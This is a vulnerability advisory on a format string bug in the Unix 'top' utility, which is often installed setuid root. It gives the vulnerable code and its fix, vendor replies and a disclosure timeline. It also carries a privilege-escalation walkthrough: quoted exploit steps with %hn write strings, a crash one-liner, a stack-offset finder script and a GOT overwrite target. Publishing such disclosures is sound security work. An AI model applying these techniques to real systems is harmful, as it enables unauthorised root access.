DMA[2005-0103a] - 'William LeFebvre "top" format string vulnerability' Author: Kevin Finisterre Vendor: http://www.groupsys.com/top, http://sourceforge.net/projects/unixtop Product: 'unixtop' References: http://www.securityfocus.com/bid/1895 Description: In October of 2000 'vort-fu' aka Ben Bidner located and wrote a patch for a vulnerability in top. Somehow the original author William LeFebvre was never notified about the issue. Over four years later the vulnerability still remained in Williams code. Recently LeFebvre was notified about the bug and the issue has since been patched. This vulnerability has popped up in multiple places over the years. OpenBSD, FreeBSD, SCO Skunkware, and Solaris have all been subject to this vulnerability. Anyone that has compiled the unixtop packages by hand is also potentially vulnerable assuming that permissions permit. Most recently this bug popped up on the Solaris 10 Companion CD complements of Sunfreeware. As mentioned above if you compiled top by hand you *may* be vulnerable. This is because during installation of unixtop you are prompted with the following dialog: --snip-- I'm going to assume that top needs to run setuid to root, but you should double check and use mode 2755 (set group id) if top doesn't really need root access. If you are running SunOS 5.0 through SunOS 5.5.1 (that's Solaris 2.0 through Solaris 2.5.1) then you will need to install top setuid root (owner root and mode 4711). In SunOS 5.6 and higher top only requires set group id sys permissions. Tell me how to set the following when top is installed: Owner [root]: Group owner [32600]: Mode [4711]: --snip-- If you select all defaults you will have the following binary that is setuid root. linux:/home/kfinisterre/top-3.5 # ls -al /usr/local/bin/top -rws--x--x 1 root 32600 44550 2004-12-09 00:22 /usr/local/bin/top SeungHyun Seo created an exploit somewhere around a year after the bug was first found. The header of his code outlines a technique for exploiting the bug. /* * freebsd x86 top exploit * affected under top-3.5beta9 ( including this version ) * * 1. get the address of .dtors from /usr/bin/top using objdump , * * 'objdump -s -j .dtors /usr/bin/top' * * 2. divide it into four parts, and set it up into an environment variable * like "XSEO=" * * 3. run top, then find "your parted addresses from "kill" or "renice" * command like this * * 'k %200$p' or 'r 2000 %200$p' * * 4. do exploit ! * * 'k %190u%230$hn' <== 0xbf (4) * 'k %190u%229$hn' <== 0xbf (3) * 'k %214u%228$hn' <== 0xd7 (2) * 'k %118u%227$hn' <== 0x77 (1) * * truefinder , seo igrus inha ac kr * thx mat, labman, zen-parse * */ By default top runs with the -i Use "interactive" mode enabled. In this mode, any input is immediately read for processing. For us this means that we don't actually have to open top and manually type stuff out while exploiting this issue as Seo did. kfinisterre@jdam:~/top-3.5> echo k %n%n%n | ./top last pid: 7603; load averages: 0.05, 0.19, 0.26 00:25:07 68 processes: 1 running, 67 sleeping CPU states: % user, % nice, % system, % idle Memory: kill %n%n%n%n%nSegmentation fault If we look at the issue in gdb we can see where the problem lies in the codebase. In this case the problem is caused by an unformatted new_message() call in the kill routine. (gdb) bt #0 0x400cdd83 in vfprintf () from /lib/tls/libc.so.6 #1 0x400e5ffb in vsprintf () from /lib/tls/libc.so.6 #2 0x400d338b in sprintf () from /lib/tls/libc.so.6 #3 0x0804b6c9 in new_message () #4 0x0804a04d in main () (gdb) new_message() winds up calling sprintf with our user supplied data in the msgfmt variable listed below. /* first, format the message */ (void) sprintf(next_msg, msgfmt, a1, a2, a3); The code below is what caused the issue to begin with. A simple fix would be to replace: new_message(MT_standout, errmsg); with new_message(MT_standout, "%s", errmsg); static char tempbuf2[50]; ... case CMD_kill: /* kill program */ new_message(0, "kill "); if (readline(tempbuf2, sizeof(tempbuf2), No) > 0) { if ((errmsg = kill_procs(tempbuf2)) != NULL) { new_message(MT_standout, errmsg); putchar('\r'); no_command = Yes; } } If you examine the code snippet above you will find that the input buffer is limited to 50 chars in length. This limit obviously makes exploitation a little more interesting. When exploiting the issue there is no need to reinvent the wheel so we can make use of some of Seo's existing technique. Seo placed his write addresses in an environment variable so lets begin there. A quick script helps us locate our user input on the stack. kfinisterre@jdam:~/top-3.5> cat find.sh #!/bin/bash cnt=250 until [ "$cnt" = "254" ] do export DM=`echo -e "--AAAABBBB----"` echo $counter: echo k *\%$cnt\$x* | strace -o file -s100 ./top grep "Not a number" file let cnt+=1 done kfinisterre@jdam:~/top-3.5> ./find.sh 250: write(1, "\r\33[7m *41414141*: Not a number\33[27m\r", 36) = 36 251: write(1, "\r\33[7m *42424242*: Not a number\33[27m\r", 36) = 36 252: write(1, "\r\33[7m *2d2d2d2d*: Not a number\33[27m\r", 36) = 36 253: write(1, "\r\33[7m *4e414d00*: Not a number\33[27m\r", 36) = 36 Now that we have our input we should find a memory location to overwrite. sprintf() is called after new_message() so lets overwrite it. You could of course find a better place to overwrite, sprintf could yield some unexpected results later on. kfinisterre@jdam:~/top_ex$ objdump -R top | grep sprintf 0804f340 R_386_JUMP_SLOT sprintf Keep in mind when you are writing an exploit for this that the memory offsets are highly touchy in regards to what environment variables are set. You should set a variable that contains your write addresses and then attempt to locate them via various format strings. Stashing your shellcode and nops somewhere close by would probably be a good idea as well. Using a format string of "%.100d.%180$x" should output something similar to the following string if you chose to overwrite sprintf() as described above: ...0000000000000000000000000000000000000000000.804f340: Not a number At this point you have all you need to write an exploit for this issue, a write address, the offsets to your user input, and a method to remove the user interaction required for exploitation. Top has some quirks that make explioting this bug tricky but it can be done. I have attached a semi-functional PoC exploit, however it needs a little TLC before it can be used to hand out a full blown root prompt. Hopefully there can finally be some closure on this vulnerability and maybe we can learn something from how the disclosure in this case was handled? Some of you probably learned that if you don't tell the author about a bug you can let it fester in the codebase and exploit it for years on end. Others hopefully learned that perhaps its a good idea to notify the original author of the code when a security issue comes up. Both Sun and William responded as follows: William LeFebvre : Kevin: thanks for bringing this to my attention. This is indeed the first I have heard of this particular vulnerability. I will see that it is fixed in the source and I will have to release version 3.5.1 with the fix in place. I will let everyone know when that is done. As for set-uid-ness: any solaris system that supports psinfo does not need top installed setuid. Current install scripts install it setgid to sys, but I have not recently evaluated if that is even necessary anymore. Please do not build packages that install top setuid for Solaris 2.6 and up! --------- Security Coordination Team: Thanks William for updating the sources, We have requested the engineers responsible for Solaris Companion CD and web-download http://wwws.sun.com/software/solaris/freeware/ to upgrade the packages. You would see new packages whenever the next Solaris Companion CD is built. www.sunfreeware.com is not maintained by Sun. We have requested the Steven M. Christensen of Steven M. Christensen and Associates, Inc. to upgrade top. Best regards, Sun Security Coordination Team security-alert@sun.com --------- Timeline associated with this bug: vort-fu on Wed, 4 Oct 2000 15:28:22 +1100 (EST) submits "diffs for top" to bugs@openbsd.org and deraadt@openbsd.org http://monkey.org/openbsd/archive/bugs/0010/msg00008.html Todd C. Miller on Wed, 4 Oct 2000 15:19:38 -0600 (MDT) updates the cvs source. http://monkey.org/openbsd/archive/source-changes/0010/msg00093.html FreeBSD Security Advisories on Wed, 1 Nov 2000 14:59:54 -0800 releases Security Advisory FreeBSD-SA-00:62 http://www.securityfocus.com/archive/1/143508/2004-03-21/2004-03-27/2 The threads after the FreeBSD release pretty much involve some mud slinging about proper notification. Which is kind of ironic... http://www.securityfocus.com/archive/1/143844/2004-03-21/2004-03-27/1 SeungHyun Seo on Wed, 25 Jul 2001 19:24:29 +0900 (KST) releases the "freebsd x86 top exploit" for versions <= top-3.5beta9. http://www.securityfocus.com/archive/1/199411 Kevin Finisterre on Wed, 14 Nov 2001 11:54:30 -0500 releases and advisory outlining a "SCO skunkware top format strings issue" http://www.securityfocus.com/archive/1/240161 Kevin Finisterre On Wed, 2004-11-24 at 04:38 notifies the vendor! 4 years later! This bug was found alive and kicking in the Solaris 10 Sun freeware package. -KF